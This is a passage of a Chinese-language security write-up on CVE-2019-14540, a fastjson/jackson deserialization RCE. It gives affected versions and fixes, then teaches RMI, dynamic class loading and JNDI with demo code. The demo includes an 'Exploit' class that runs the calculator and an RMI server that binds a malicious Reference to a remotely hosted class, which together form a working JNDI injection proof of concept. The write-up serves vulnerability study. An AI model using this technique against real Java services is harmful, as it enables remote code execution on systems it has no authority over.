0x00 前言
从2017年3月15日,fastjson官方主动爆出框架存在远程代码执行高危安全漏洞以后,好像fastjson库漏洞频出。正好最近又爆出了个
CVE-2019-14540
,影响jackson,同时也影响fastjson,漏洞原理都是利用反序列化造成RCE,所以借此分析CVE-2019-14540的同时好好学习一下相关知识。
0x01 影响范围
fastjson影响版本:
version < 1.2.60
,修复commit: https://github.com/alibaba/fastjson/commit/5d09b913a533cf2d2eeea1124337681494804336,建议升级到1.2.60或以上版本。
jackson-databind影响版本:
version < 2.9.10
,官方发布详情: https://github.com/FasterXML/jackson-databind/blob/master/release-notes/VERSION-2.x,修复commit: https://github.com/FasterXML/jackson-databind/commit/d4983c740fec7d5576b207a8c30a63d3ea7443de,建议升级到2.9.10或以上版本。
0x02 漏洞分析
分析CVE之前我们先一起学习下前置知识,以便于对漏洞有个更深刻的认识。
前置知识
序列化与反序列化
先来看一下序列化与反序列化的概念:
序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
什么意思呢?以Java为例,在描述一个事物的时候会定义一个类,当需要真正使用这个类的时候,通常需要把它实例化成一个对象,这个对象它是实实在在占用内存空间的,而内存里面的数据表现形式都是二进制,如果我们想把内存中的对象持久化保存起来,这段二进制存储成本地文本文件的过程就可以把它理解成对象的序列化。反之亦然,把文本文件恢复到内存中的过程就可以理解成对象的反序列化。当然,序列化除了本地持久化以外,还可以把内存中的二进制转换成数据流用于网络传输。
RMI远程方法调用
RMI(Remote Method Invocation)是JDK 1.2版本中实现的一种远程方法调用机制,是分布式编程中的基本思想。利用这种机制可以让某台服务器上的对象在调用另外一台服务器上的方法时,和在本地机上对象间的方法调用的语法规则一样。实现原理图如下:
下面我们来看demo代码帮助理解RMI:
服务端工程目录结构如下:
RMIServerDemo
│ .classpath
│ .project
│
├─.settings
│ org.eclipse.jdt.core.prefs
│
├─bin
│ └─com
│ └─rmitest
│ RmiSample.class
│ RmiSampleImpl.class
│ RmiSampleServer.class
│
└─src
└─com
└─rmitest
RmiSample.java
RmiSampleImpl.java
RmiSampleServer.java
定义远程接口RmiSample.java
package com.rmitest;
import java
.rmi.Remote;
import java.rmi.RemoteException;
//远程接口必须继承Remote
public interface RmiSample extends Remote{
//所有远程实现方法必须抛出RemoteException
public int sum(int a,int b) throws RemoteException;
}
实现远程接口RmiSampleImpl.java
package com.rmitest;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
//必须继承UnicastRemoteObject
public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
//覆盖默认构造函数并抛出RemoteException
public RmiSampleImpl() throws RemoteException{
super();
}
//方法实现,所有远程实现方法必须抛出RemoteException
public int sum(int a,int b) throws RemoteException{
return a+b;
}
}
服务器程序RmiSampleServer.java
package com.rmitest;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiSampleServer {
public static void main(String[] args) {
try {
//创建RMI Registry,默认监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
//实例化RmiSample对象
RmiSample serverObj = new RmiSampleImpl();
//把serverObj对象绑定到Registry中,客户端可以通过在Registry查找SAMPLE-SERVER获取到serverObj对象
registry.bind("SAMPLE-SERVER", serverObj);
System.out.println("RMI服务已经启动....");
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端工程目录结构如下:
RMIClientDemo
│ .classpath
│ .project
│
├─.settings
│ org.eclipse.jdt.core.prefs
│
├─bin
│ └─com
│ └─rmitest
│ RmiSample.class
│ RmiSampleClient.class
│
└─src
└─com
└─rmitest
RmiSample.java
RmiSampleClient.java
在客户端程序中也要定义远程接口RmiSample.java,注意该文件的包名、类名和服务端的远程接口需要保持一致。
客户端程序RmiSampleClient.java
package com.rmitest;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiSampleClient {
public static void main(String[] args) {
try {
//通过ip和端口等信息在本地创建一个Stub作为Registry远程对象的代理
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//相当于在Registry中查找键值为SAMPLE-SERVER的远程对象
RmiSample RmiObject = (RmiSample) registry.lookup("SAMPLE-SERVER");
System.out.println(" 1 + 1 = " + RmiObject.sum(1, 1));
} catch (Exception e) {
e.printStackTrace();
}
}
}
先启动服务端,在启动客户端,可以看见客户端没有RmiSample接口的具体实现下,正确输出1+1=2,这里客户端调用了远程服务端的实现方法使程序正常运行。
RMI动态加载类
从上述Demo中我们可以了解RMI的简单实现方法,RMI除了实现远程方法调用以外,还有一个核心特点是动态加载类。如果当前JVM中没有某个类的定义,它可以通过http协议去网络下载这个类的class,实现动态扩展应用的功能。
定义类Exploit,在其构造方法中启动计算器应用,让RMI动态加载该类,Exploit.java代码如下:
public class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
System.out.println("No calc for you!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用javac命令把Exploit.java编译成class文件,然后放到web服务器中。修改Demo工程RMIServerDemo的SmiSampleServer.java代码,让RMI服务器程序动态加载class文件,具体代码实现如下:
package com.rmitest;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RmiSampleServer {
public static void main(String[] args) {
try {
//创建RMI Registry,默认监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
/*
//实例化RmiSample对象
RmiSample serverObj = new RmiSampleImpl();
//把serverObj对象绑定Registry中,客户端可以通过在Registry查找SAMPLE-SERVER获取到serverObj
registry.bind("SAMPLE-SERVER", serverObj);
System.out.println("RMI服务已经启动....");
*/
//存放class的远程服务器地址
String remote_class = "http://127.0.0.1:8089/";
//Reference对象代表存在于JNDI以外的对象的引用
Reference reference = new Reference("Exploit", "Exploit", remote_class);
ReferenceWrapper re = new ReferenceWrapper(reference);
//把Reference对象绑定到Registry,客户端可以通过在Registry查找Exploit-SERVER获取到re对象
registry.bind("Exploit-SERVER",re);
System.out.println("RMI服务已经启动....");
} catch (Exception e) {
e.printStackTrace();
}
}
}
从代码可以看见,通过new Reference对象去web服务器中下载远程的class文件,返回一个代表存在于JNDI以外的对象的引用,这里出现了一个新名词——JNDI。
JNDI
JNDI(Java Naming and Directory Interface),翻译成中文叫Java命名和目录接口,简单理解JNDI的作用就是:JNDI把很多不同的服务整合在一起,并为每个服务取一个别名,以键值对的形式保存起来,然后对外提供一个统一接口,使用者只需要调用接口并传入服务名就可以获取到对应的服务,其架构图如下:
从架构图可以看见,用户能够直接通过JNDI接口使用RMI、LDAP等服务。在
RMI动态加载类
部分有提到,动态加载远程class返回的Reference对象代表的是对存在于JNDI系统以外的对象的引用,这里的JNDI就代表着RMI服务,因为返回的Reference对象已经是JNDI里面的概念了,所以RMI客户端部分可以利用JNDI来管理RMI远程对象的注册服务。
修改RMIClientDemo工程中客户端程序代码,使用JNDI来管理RMI,新建RmiSampleClientJndiTest.java,代码具体实现如下:
package com.rmitest;
import java.util.Hashtable;
import
javax.naming.Context;
import javax.naming.InitialContext;
public class RmiSampleClientJndi {
public static void main(String[] args) {
String url = "rmi://127.0.0.1:1099/";
try {
//使用Hashtable保存环境配置信息
Hashtable env = new Hashtable<>();
//设置JNDI驱动的类名,com.sun.jndi.rmi.registry.RegistryContextFactory代表RMI服务
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//设置RMI服务端ip、端口信息
env.put(Context.PROVIDER_URL, url);
//使用Hashtable保存的配置信息初始化上下文
Context ctx = new InitialContext(env);
//根据上下文查找绑定的远程对象
RmiSample RmiObject = (RmiSample)ctx.lookup(url + "Exploit-SERVER");
System.out.println(RmiObject.sum(4, 5));
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
从代码实现可以看出,要使用JNDI管理RMI,还需要先设置一堆配置信息,显得非常麻烦,为了方便简洁,JNDI还支持不绑定环境信息,直接初始化上下文。新建RmiSampleClientJndi.java,代码具体实现如下:
package com.rmitest;
import javax.naming.Context;
import javax.naming.InitialContext;
public class RmiSampleClientJndi {
public static void main(String[] args) {
String url = "rmi://127.0.0.1:1099/Exploit-SERVER";
try {
//初始化上下文
Context ctx = new InitialContext();
//根据上下文查找绑定的远程对象
RmiSample RmiObject = (RmiSample)ctx.lookup(url);
System.out.println(RmiObject.sum(4, 5));
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
启动服务端,运行RmiSampleClientJndi.java,发现控制台报错,但是有趣的事情发生了,计算器应用启动了。
JNDI Reference注入漏洞
在JNDI服务中,如果RMI服务端是通过Reference类来绑定一个外部的远程对象(RMI动态加载类),在客户端初始化上下文,调用InitialContext.lookup(URI)方法后,会自动加载并实例化Reference绑定的对象,如果传入lookup方法的URI可以被控制,攻击者就可以自己搭建RMI服务端并返回一个恶意的Reference对象,比如在Reference绑定的外部对象的构造方法、静态代码块中插入恶意代码,在JNDI自动实例化Reference绑定的对象时,构造方法里面的恶意代码就会自动执行,达到RCE效果。
到这里,上面Demo工程中为什么报错还能够弹出计算器应用就好理解了,传入lookup方法的URI指定远程RMI服务端,远程RMI服务端实现是通过http网络下载外部Exploit.class文件,并返回Reference引用对象,Exploit的无参构造方法里面实现了启动计算器应用的逻辑,在JNDI自动实例化Reference引用对象(Exploit对象)时,构造方法里面的代码就执行了。
FastJson使用入门
fastjson使用详情可以参考官方WiKi,重点来关注反序列化的使用方法。首先定义一个User类:
public class User {
private int age;
private String name;
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
}